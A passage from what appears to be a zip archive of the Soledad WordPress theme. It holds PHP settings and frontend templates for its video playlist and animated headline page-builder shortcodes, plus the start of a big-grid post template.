			'dependency'  => array( 'element' => 'heading_title_style', 'value' => array( 'style-15' ) ),
			'group'       => 'Heading',
		),
	), Penci_Vc_Params_Helper::params_heading_typo_color(), array(
		array(
			'type'             => 'textfield',
			'param_name'       => 'post_title_css',
			'heading'          => esc_html__( 'Extra colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Background list videos', 'soledad' ),
			'param_name'       => 'list_video_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Video title color', 'soledad' ),
			'param_name'       => 'video_title_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Video title hover color', 'soledad' ),
			'param_name'       => 'video_title_hover_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Video duration color', 'soledad' ),
			'param_name'       => 'duration_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Video order number color', 'soledad' ),
			'param_name'       => 'order_number_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Video order number background color', 'soledad' ),
			'param_name'       => 'order_number_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Item video border color', 'soledad' ),
			'param_name'       => 'item_video_border_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Item video hover background and border color', 'soledad' ),
			'param_name'       => 'item_video_bg_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Scroll bar background color', 'soledad' ),
			'param_name'       => 'scrollbar_bg_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\gb,'  ,'  6  inc/js_composer/shortcodes/video_playlist/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

if ( ( ! $atts['videos_list'] && $atts['video_type'] == 'custom' ) || ( $atts['video_type'] == 'youtube_playlist' && ! $atts['yplaylist_id'] ) ) {
	return;
}

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-video_playlist';
$css_class .= ' pencisc-column-' . $atts['penci_block_width'];
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'video_playlist' );
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content">
			<?php
			if ( ! get_theme_mod( 'penci_youtube_api_key' ) && preg_match( "#(?<=v=)[a-zA-Z0-9-]+(?=&)|(?<=v\/)[^&\n]+(?=\?)|(?<=v=)[^&\n]+|(?<=youtu.be/)[^&\n]+#", $atts['videos_list'], $matches ) ) {
				echo '<strong>Youtube Api key</strong> is empty. Please go to Customize > General > Extra Options > YouTube API Key and enter an api key :)';
			}

			$cache_name = 'penci-shortcode-playlist-' . $atts['video_type'] . '-' . $atts['block_id'];
			$cache_key  = 'penci-shortcode-playlist-key' . $atts['video_type'] . '-' . $atts['block_id'];

			$videos          = explode( ',', $atts['videos_list'] );
			$videos_list     = get_transient( $cache_name );
			$videos_list_key = get_transient( $cache_key );
			$rand_video_list = rand( 1000, 100000 );


			if ( $atts['video_type'] == 'custom' && ( empty( $videos_list ) || $atts['videos_list'] != $videos_list_key ) ) {
				$videos_list = \Penci_Video_List::get_video_infos( $videos );
				set_transient( $cache_name, $videos_list, 18000 );
				set_transient( $cache_key, $atts['videos_list'], 18000 );
			}

			if ( $atts['video_type'] == 'youtube_playlist' && ( empty( $videos_list ) || $atts['yplaylist_id'] != $videos_list_key ) ) {
				$videos_list = \Penci_Video_List::get_playlist_videos_ids( $atts['yplaylist_id'], $atts['yplaylist_limit'] );
				set_transient( $cache_name, $videos_list, 18000 );
				set_transient( $cache_key, $atts['videos_list'], 18000 );
			}
			$videos_count = is_array( $videos_list ) ? count( (array) $videos_list ) : 0;

			if ( ! empty( $videos_list ) ): ?>
                <div class="penci-video-play">
					<?php foreach ( (array) $videos_list as $key => $video ): ?>
						<?php
						if ( $key > 0 ) {
							continue;
						}
						?>
                        <div class="fluid-width-video-wrapper">
                            <iframe class="penci-video-frame" id="video-<?php echo esc_attr( $rand_video_list ) ?>-1"
                                    src="<?php echo esc_attr( $video['id'] ) ?>" width="770" height="434"></iframe>
                        </div>
					<?php endforeach; ?>
                </div>
                <div class="penci-video-nav">
					<?php if ( ! empty( $atts['heading'] ) && 'video_list' == $atts['heading_title_style'] ): ?>
                        <div class="penci-playlist-title">
                            <div class="playlist-title-icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></span></div>
                            <h2>
								<?php
								echo( ! empty( $atts['heading_title_link'] ) ? '<a href=" ' . esc_url( $atts['heading_title_link'] ) . ' ">' : '<span>' );
								echo esc_html( $atts['heading'] );
								echo( ! empty( $atts['heading_title_link'] ) ? '</a >' : '</span>' );
								?>
                            </h2>
                            <span class="penci-videos-number">
								<span class="penci-video-playing">1</span> /
								<span class="penci-video-total"><?php echo( $videos_count ) ?></span>
								<?php
								if ( function_exists( 'penci_get_tran_setting' ) ) {
									echo penci_get_tran_setting( 'penci_social_video_text' );
								} else {
									esc_html_e( 'Videos', 'soledad' );
								}
								?>
							</span>
                        </div>
					<?php endif; ?>
					<?php
					$class_nav = ( ! empty( $atts['title'] ) && 'video_list' == $atts['block_title_style'] ) ? ' playlist-has-title' : '';
					$class_nav .= $videos_count > 3 ? ' penci-custom-scroll' : '';

					$direction = is_rtl() ? ' dir="rtl"' : '';
					?>
                    <div class="penci-video-playlist-nav<?php echo esc_attr( $class_nav ); ?>"<?php echo( $direction ); ?>>
						<?php
						$video_number = 0;
						foreach ( $videos_list as $video ):
							$video_number ++;
							?>
                            <a data-name="video-<?php echo esc_attr( $rand_video_list . '-' . $video_number ) ?>"
                               data-bgset="<?php echo esc_attr( $video['id'] ) ?>"
                               class="penci-video-playlist-item penci-video-playlist-item-<?php echo esc_attr( $video_number ); ?>">
							<span class="penci-media-obj">
								<span class="penci-mobj-img">
									<?php if ( 'yes' != $atts['hide_order_number'] ): ?>
                                        <span class="playlist-panel-item penci-video-number"><?php echo esc_attr( $video_number ) ?></span>
                                        <span class="playlist-panel-item penci-video-play-icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></span>
                                        <span class="playlist-panel-item penci-video-paused-icon"><?php penci_fawesome_icon( 'fas fa-pause' ); ?></span>
									<?php
									endif;


									$class_lazy = $data_src = '';
									$dis_lazy   = get_theme_mod( 'penci_disable_lazyload_layout' );
									if ( $dis_lazy ) {
										$class_lazy = ' penci-disable-lazy';
										$data_src   = 'style="background-image: url(' . esc_url( $video['thumb'] ) . ');"';
									} else {
										$class_lazy = ' penci-lazy';
										$data_src   = 'data-bgset="' . esc_url( $video['thumb'] ) . '"';
									}

									printf( '<span class="penci-image-holder penci-video-thumbnail%s" %s><span class="screen-reader-text">%s</span></span>', $class_lazy, $data_src, esc_html__( 'Thumbnail youtube', 'soledad' ) );
									?>
								</span>
								<span class="penci-mobj-body">
									<span class="penci-video-title"
                                          title="<?php echo esc_attr( $video['title'] ); ?>"><?php echo wp_trim_words( $video['title'], $atts['video_title_length'], '...' ); ?></span>
									<?php if ( 'yes' != $atts['hide_duration'] ): ?>
                                        <span class="penci-video-duration"><?php echo esc_attr( $video['duration'] ) ?></span>
									<?php endif; ?>
								</span>
							</span>
                            </a>
						<?php endforeach;
						?>
                    </div>
                </div>
			<?php endif; ?>
        </div>
    </div>
<?php

$id_block_css = '#' . $block_id;
$id_block_css2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom   = Penci_Vc_Helper::get_heading_block_css( $id_block_css, $atts );

if ( 'video_list' == $atts['heading_title_style'] ) {
	$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
		'font_size'  => $atts['btitle_fsize'],
		'font_style' => $atts['use_btitle_typo'] ? $atts['btitle_typo'] : '',
		'template'   => $id_block_css . ' .penci-playlist-title h2{ %s }',
	) );

	if ( $atts['btitle_bgcolor'] ) {
		$css_custom .= $id_block_css2 . '.penci-video_playlist .penci-playlist-title{ background-color:' . esc_attr( $atts['btitle_bgcolor'] ) . ';}';
	}

	if ( $atts['block_title_color'] ) {
		$css_custom .= $id_block_css2 . '.penci-video_playlist .penci-playlist-title{ color:' . esc_attr( $atts['block_title_color'] ) . ';}';
	}

	if ( $atts['block_title_hcolor'] ) {
		$css_custom .= $id_block_css2 . '.penci-video_playlist .penci-playlist-title a:hover{ color:' . esc_attr( $atts['block_title_hcolor'] ) . ';}';
	}
}

if ( $atts['list_video_bgcolor'] ) {
	$css_custom .= $id_block_css2 . '.penci-video_playlist .penci-video-nav{ background-color:' . esc_attr( $atts['list_video_bgcolor'] ) . ';}';
}
if ( $atts['video_title_color'] ) {
	$css_custom .= $id_block_css2 . ' .penci-video-playlist-item .penci-video-title{ color:' . esc_attr( $atts['video_title_color'] ) . ';}';
}
if ( $atts['video_title_hover_color'] ) {
	$css_custom .= $id_block_css2 . ' .penci-video-playlist-item .penci-video-title:hover{ color:' . esc_attr( $atts['video_title_hover_color'] ) . ';}';
}
if ( $atts['duration_color'] ) {
	$css_custom .= $id_block_css2 . ' .penci-video-playlist-item .penci-video-duration{ color:' . esc_attr( $atts['duration_color'] ) . ';}';
}
if ( $atts['order_number_color'] ) {
	$css_custom .= $id_block_css2 . '.penci-video_playlist .penci-video-nav .playlist-panel-item{ color:' . esc_attr( $atts['order_number_color'] ) . ';}';
}
if ( $atts['order_number_bgcolor'] ) {
	$css_custom .= $id_block_css2 . '.penci-video_playlist .penci-video-nav .playlist-panel-item{ background-color:' . esc_attr( $atts['order_number_bgcolor'] ) . ';}';
}
if ( $atts['item_video_border_color'] ) {
	$css_custom .= $id_block_css2 . '.penci-video_playlist .penci-video-nav .penci-video-playlist-item{ border-color:' . esc_attr( $atts['item_video_border_color'] ) . ';}';
}
if ( $atts['item_video_bg_hcolor'] ) {
	$css_custom .= $id_block_css2 . '.penci-video_playlist .penci-video-nav .penci-video-playlist-item:hover{ background-color:' . esc_attr( $atts['item_video_bg_hcolor'] ) . ';}';
}
if ( $atts['scrollbar_bg_hcolor'] ) {
	$css_custom .= $id_block_css2 . '.penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-thumb{ background-color:' . esc_attr( $atts['scrollbar_bg_hcolor'] ) . ';}';
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_block_css, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\,ԲG$  $  9  inc/js_composer/shortcodes/animated_headline/settings.phpnu [        <?php
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => 'animated_headline',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/animated_headline/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Animated Headline', 'soledad' ),
	'description'   => __( 'Create awesome heading title effects', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Style', 'soledad' ),
			'param_name' => 'text_style',
			'value'      => array(
				'None'        => 'none',
				'Highlighted' => 'highlighted',
				'Rotating'    => 'rotating',
			),
			'std'        => 'rotating',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Shape', 'soledad' ),
			'param_name' => 'text_shape',
			'value'      => array(
				'Circle'           => 'circle',
				'Curly'            => 'curly',
				'Underline'        => 'underline',
				'Double'           => 'double',
				'Double Underline' => 'double-underline',
				'Underline Zigzag' => 'underline-zigzag',
				'Diagonal'         => 'diagonal',
				'Strikethrough'    => 'strikethrough',
				'X'                => 'x',
			),
			'std'        => 'circle',
			'dependency' => array( 'element' => 'text_style', 'value' => array( 'highlighted' ) ),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Rotating', 'soledad' ),
			'param_name' => 'text_rotating',
			'value'      => array(
				'Typing'      => 'typing',
				'Clip'        => 'clip',
				'Flip'        => 'flip',
				'Swirl'       => 'swirl',
				'Blinds'      => 'blinds',
				'Bounce'      => 'bounce',
				'Swing'       => 'swing',
				'Rubber Band' => 'rubber-band',
				'Drop In'     => 'drop-in',
				'Wave'        => 'wave',
				'Slide Left'  => 'slide-left',
				'Slide Right' => 'slide-right',
				'Slide Up'    => 'slide-up',
				'Slide Down'  => 'slide-down',
			),
			'std'        => 'typing',
			'dependency' => array( 'element' => 'text_style', 'value' => array( 'rotating' ) ),
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Letter Speed', 'soledad' ),
			'param_name' => 'text_letter_speed',
			'value'      => '100',
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Delay on Change', 'soledad' ),
			'param_name' => 'text_delay_change',
			'value'      => '2000',
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Clip Duration', 'soledad' ),
			'param_name' => 'text_clip_duration',
			'value'      => '2000',
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Delay on Delete', 'soledad' ),
			'param_name' => 'text_delay_delete',
			'value'      => '500',
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Before Text', 'soledad' ),
			'param_name' => 'text_before',
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Animated Text', 'soledad' ),
			'param_name' => 'text_animated',
			'dependency' => array( 'element' => 'text_style', 'value' => array( 'highlighted' ) ),
		),
		array(
			'type'       => 'textarea',
			'heading'    => __( 'Animated Text', 'soledad' ),
			'param_name' => 'text_animated_list',
			'dependency' => array( 'element' => 'text_style', 'value' => array( 'rotating' ) ),
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'After Text', 'soledad' ),
			'param_name' => 'text_after',
		),
		array(
			'type'       => 'vc_link',
			'heading'    => __( 'Link', 'soledad' ),
			'param_name' => 'text_link',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'HTML Tag', 'soledad' ),
			'param_name' => 'text_html_tag',
			'value'      => array(
				'H1'   => 'h1',
				'H2'   => 'h2',
				'H3'   => 'h3',
				'H4'   => 'h4',
				'H5'   => 'h5',
				'H6'   => 'h6',
				'div'  => 'div',
				'span' => 'span',
				'p'    => 'p',
			),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Alignment', 'soledad' ),
			'param_name' => 'text_alignment',
			'value'      => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
		),
	), array(
		array(
			'type'             => 'textfield',
			'param_name'       => 'penci_separator_001',
			'heading'          => __( 'Normal Text', 'soledad' ),
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'font_container',
			'heading'    => __( 'Normal Text Typography', 'soledad' ),
			'param_name' => 'text_normal_typography',
			'value'      => '',
			'group'      => $group_color,
			'settings'   => array(
				'fields' => array(
					'text_align',
					'font_size',
					'line_height',
					'color',
					'tag_description'         => esc_html__( 'Select element tag.', 'js_composer' ),
					'text_align_description'  => esc_html__( 'Select text alignment.', 'js_composer' ),
					'font_size_description'   => esc_html__( 'Enter font size.', 'js_composer' ),
					'line_height_description' => esc_html__( 'Enter line height.', 'js_composer' ),
					'color_description'       => esc_html__( 'Select color for your element.', 'js_composer' ),
				),
			),
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Normal Text Color', 'soledad' ),
			'param_name' => 'text_normal_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Normal Text Hover Color', 'soledad' ),
			'param_name' => 'text_normal_acolor',
			'group'      => $group_color,
		),
		array(
			'type'             => 'textfield',
			'param_name'       => 'penci_separator_002',
			'heading'          => __( 'Animate Text', 'soledad' ),
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'font_container',
			'heading'    => __( 'Animate Text Typography', 'soledad' ),
			'param_name' => 'text_ani_typography',
			'value'      => '',
			'group'      => $group_color,
			'settings'   => array(
				'fields' => array(
					'text_align',
					'font_size',
					'line_height',
					'color',
					'tag_description'         => esc_html__( 'Select element tag.', 'js_composer' ),
					'text_align_description'  => esc_html__( 'Select text alignment.', 'js_composer' ),
					'font_size_description'   => esc_html__( 'Enter font size.', 'js_composer' ),
					'line_height_description' => esc_html__( 'Enter line height.', 'js_composer' ),
					'color_description'       => esc_html__( 'Select color for your element.', 'js_composer' ),
				),
			),
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Animate Text Color', 'soledad' ),
			'param_name' => 'text_ani_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Animate Text Hover Color', 'soledad' ),
			'param_name' => 'text_ani_acolor',
			'group'      => $group_color,
		),
		array(
			'type'             => 'textfield',
			'param_name'       => 'penci_separator_003',
			'heading'          => __( 'Highlight Text', 'soledad' ),
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Highlight Width', 'soledad' ),
			'param_name' => 'highlight_width',
			'value'      => '8',
			'group'      => $group_color,
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Animation Duration', 'soledad' ),
			'param_name' => 'highlight_animation_duration',
			'group'      => $group_color,
		),
		array(
			'type'             => 'textfield',
			'param_name'       => 'penci_separator_02',
			'heading'          => __( 'Cursor Style', 'soledad' ),
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Cursor Color', 'soledad' ),
			'param_name' => 'cursor_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Delete Block Font Color', 'soledad' ),
			'param_name' => 'typing_delete_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Delete Block Background', 'soledad' ),
			'param_name' => 'typing_background',
			'group'      => $group_color,
		),
		array(
			'type'             => 'textfield',
			'param_name'       => 'penci_separator_01',
			'heading'          => __( 'Clip Effects', 'soledad' ),
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'textfield',
			'heading'    => __( 'Clip Width', 'soledad' ),
			'param_name' => 'clip_width',
			'group'      => $group_color,
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => __( 'Clip Color', 'soledad' ),
			'param_name' => 'clip_background',
			'group'      => $group_color,
		),
	), Penci_Vc_Params_Helper::extra_params()),
) );
PK     N\Zw;    9  inc/js_composer/shortcodes/animated_headline/frontend.phpnu [        <?php
wp_enqueue_script( 'pcwp-heading-animate', PENCI_SOLEDAD_URL . '/js/heading-animates-wb.js', [ 'jquery' ], PENCI_SOLEDAD_VERSION, true );
$settings            = vc_map_get_attributes( $this->getShortcode(), $atts );
$tag                 = esc_attr( $settings['text_html_tag'] );
$normal_color_style  = 'color';
$dynamic_color_style = 'color';
$style               = $settings['text_style'];
$link                = '';

$text_link = [];

if ( isset( $settings['text_link']['url'] ) && ! empty( $settings['text_link']['url'] ) ) {
	$text_link[] = 'href="' . esc_url( $settings['text_link']['url'] ) . '"';
	$text_link[] = 'class="pc-textlink"';
	if ( isset( $settings['text_link']['is_external'] ) && ! empty( $settings['text_link']['is_external'] ) ) {
		$text_link[] = 'target="_blank"';
	}
	if ( isset( $settings['text_link']['nofollow'] ) && $settings['text_link']['nofollow'] ) {
		$text_link[] = 'rel="nofollow"';
	}
	$link = '<a ' . implode( ' ', $text_link ) . '></a>';
}

if ( 'rotating' === $style ) {
	$text   = array();
	$lists  = explode( ',', $settings['text_animated_list'] );
	$rotate = $settings['text_rotating'];
	$delay  = $settings['text_delay_change'] ? $settings['text_delay_change'] : 2500;

	foreach ( $lists as $list ) {
		array_push( $text, $list );
	}

	$text    = implode( ',', $text );
	$options = array(
		'style'  => esc_attr( $style ),
		'text'   => esc_attr( $text ),
		'rotate' => esc_attr( $rotate ),
		'delay'  => esc_attr( $delay ),
	);

	if ( in_array( $rotate, array( 'typing', 'swirl', 'blinds', 'wave' ), true ) ) {
		$options['letter-speed'] = esc_attr( $settings['text_letter_speed'] ? $settings['text_letter_speed'] : 100 );
	}

	if ( 'clip' === $rotate ) {
		$options['clip-duration'] = esc_attr( $settings['text_clip_duration'] ? $settings['text_clip_duration'] : 2000 );
	}

	if ( 'typing' === $rotate ) {
		$options['delay-delete'] = esc_attr( $settings['text_delay_delete'] ? $settings['text_delay_delete'] : 500 );
	}
} elseif ( 'highlighted' === $style ) {
	$options = array(
		'style' => esc_attr( $style ),
		'text'  => esc_attr( $settings['text_animated'] ),
		'shape' => esc_attr( $settings['text_shape'] ),
	);
} else {
	$options = array( 'style' => esc_attr( $style ) );
}

$headline = [];

foreach ( $options as $option => $value ) {
	$headline[] = 'data-' . $option . '="' . $value . '"';
}

$id = 'wppcel-' . rand();

$headline[] = 'class="penci-animated-headline"';

$text = '<' . $tag . ' class="penci-animated-text">';

$inner_text = '<span class="normal-text style-' . $normal_color_style . '">' . esc_attr( $settings['text_before'] ) . '</span>';

if ( 'rotating' === $style ) {

	$lists        = explode( ',', $settings['text_animated_list'] );
	$rotate_style = $settings['text_rotating'];

	$inner_text = $inner_text . '<span class="dynamic-wrapper style-' . $dynamic_color_style . '">';
	$text_list  = '';
	if ( in_array( $rotate_style, array( 'typing', 'swirl', 'blinds', 'wave' ), true ) ) {
		foreach ( $lists as $text_string ) {
			$text_length = mb_strlen( $text_string, 'UTF-8' );
			$text_list   = $text_list . '<span class="dynamic-text">';

			for ( $i = 0; $i < $text_length; $i ++ ) {
				$text_list = $text_list . '<span class="dynamic-text-letter">' . mb_substr( $text_string, $i, 1, 'UTF-8' ) . '</span>';
			}

			$text_list = $text_list . '</span>';
		}
	} else {
		foreach ( $lists as $text_string ) {
			$text_list = $text_list . '<span class="dynamic-text">' . $text_string . '</span>';
		}
	}

	$inner_text .= $text_list . '</span>';


} elseif ( 'highlighted' === $style ) {
	$inner_text = $inner_text . ' <span class="dynamic-wrapper style-' . $dynamic_color_style . '"><span class="dynamic-text">' . esc_attr( $settings['text_animated'] ) . '</span> ' . penci_animated_heading_stroke( $settings['text_shape'], 'color' ) . '</span>';
} else {
	$inner_text = $inner_text . ' <span class="dynamic-wrapper style-' . $dynamic_color_style . '"><span class="dynamic-text">' . esc_attr( $settings['text_animated'] ) . '</span></span> ';
}

$inner_text = $inner_text . ' <span class="normal-text style-' . $normal_color_style . '">' . esc_attr( $settings['text_after'] ) . '</span>';

$text .= $inner_text;

$text .= '</' . $tag . '>';

$css = [
	'text_alignment'               => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text' => 'text-align:{{VALUE}}' ],
	'text_normal_typography'       => '{{WRAPPER}} .penci-animated-headline .penci-animated-text .normal-text',
	'text_normal_color'            => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text .normal-text' => 'color:{{VALUE}}' ],
	'text_normal_acolor'           => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text:hover .normal-text' => 'color:{{VALUE}}' ],
	'text_ani_typography'          => '{{WRAPPER}} .penci-animated-headline .penci-animated-text .dynamic-text',
	'text_ani_color'               => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text .dynamic-wrapper.style-color .dynamic-text' => 'color:{{VALUE}}' ],
	'text_ani_acolor'              => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text:hover .dynamic-wrapper.style-color .dynamic-text' => 'color:{{VALUE}}' ],
	'highlight_width'              => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text svg path' => 'stroke-width:{{SIZE}}px' ],
	'highlight_animation_duration' => [ '{{WRAPPER}} .penci-animated-headline .penci-animated-text svg path' => '-moz-animation-duration: {{SIZE}}s; -webkit-animation-duration: {{SIZE}}s; -o-animation-duration: {{SIZE}}s; -ms-animation-duration: {{SIZE}}s; animation-duration: {{SIZE}}s;' ],
	'highlight_animation_delay'    => [
		'{{WRAPPER}} .penci-animated-headline .penci-animated-text svg path' => '-moz-animation-delay: {{SIZE}}s; -webkit-animation-delay: {{SIZE}}s; -o-animation-delay: {{SIZE}}s; -ms-animation-delay: {{SIZE}}s; animation-delay: {{SIZE}}s;'
	],
	'cursor_color'                 => [ '{{WRAPPER}} .penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper:after' => 'background-color:{{VALUE}}' ],
	'typing_delete_color'          => [ '{{WRAPPER}} .penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper.typing-delete .dynamic-text .dynamic-text-letter' => 'color:{{VALUE}}' ],
	'typing_background'            => [ '{{WRAPPER}} .penci-animated-headline[data-style=rotating][data-rotate=typing] .penci-animated-text .dynamic-wrapper.typing-delete' => 'background-color:{{VALUE}}' ],
	'clip_width'                   => array(
		'{{WRAPPER}} .penci-animated-headline[data-style=rotating][data-rotate=clip] .penci-animated-text .dynamic-wrapper:after' => 'width: {{SIZE}}px;',
	),
	'clip_background'              => '{{WRAPPER}} .penci-animated-headline[data-style=rotating][data-rotate=clip] .penci-animated-text .dynamic-wrapper:after',

];

$css_out = '';

foreach ( $css as $mod => $selectors ) {
	$mod_val = isset( $settings[ $mod ] ) && $settings[ $mod ] ? $settings[ $mod ] : '';
	if ( $mod_val ) {
		if ( is_array( $selectors ) ) {
			foreach ( $selectors as $selector => $prop ) {
				$selector = str_replace( '{{WRAPPER}}', '#' . $id, $selector );
				$css_out  .= $selector . '{' . str_replace( '{{VALUE}}', $mod_val, $prop ) . '}';
			}
		} else {
			$selector = str_replace( '{{WRAPPER}}', '#' . $id, $selectors );
			$css_out  .= $selector . '{' . penci_soledad_vc_extract_font_prop( $mod_val ) . '}';
		}
	}
}

echo '<div id="' . esc_attr( $id ) . '"><div ' . implode( ' ', $headline ) . '>' . $text . $link . '</div></div>';

if ( $css_out ) {
	echo '<style>' . $css_out . '</style>';
}PK     N\4Pk  k  2  inc/js_composer/shortcodes/big_grid/based-post.phpnu [        <div class="penci-bgitem<?php if ( 'style-2' == $biggid_style ) {
	echo ' item-masonry';
}
echo $is_big_item . penci_big_grid_count_classes( $bg, $biggid_style ); ?>">
    <div class="penci-bgitin">
        <div class="penci-bgmain">
            <div class="pcbg-thumb">
				<?php
				do_action( 'penci_bookmark_post', get_the_ID() );
				/* Display Review Piechart  */
				if ( 'yes' == $show_reviewpie && function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>
				<?php if ( 'yes' == $show_formaticon ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
                <div class="pcbg-thumbin">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' != $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

                    <div <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumbnail ), ! $disable_lazy ); ?> class="<?php echo penci_layout_bg_class(! $disable_lazy);?> penci-image-holder"<?php if ( 'style-2' == $biggid_style ) {
						echo ' style="padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $thumbnail, true ) . '%"';
					} ?>>
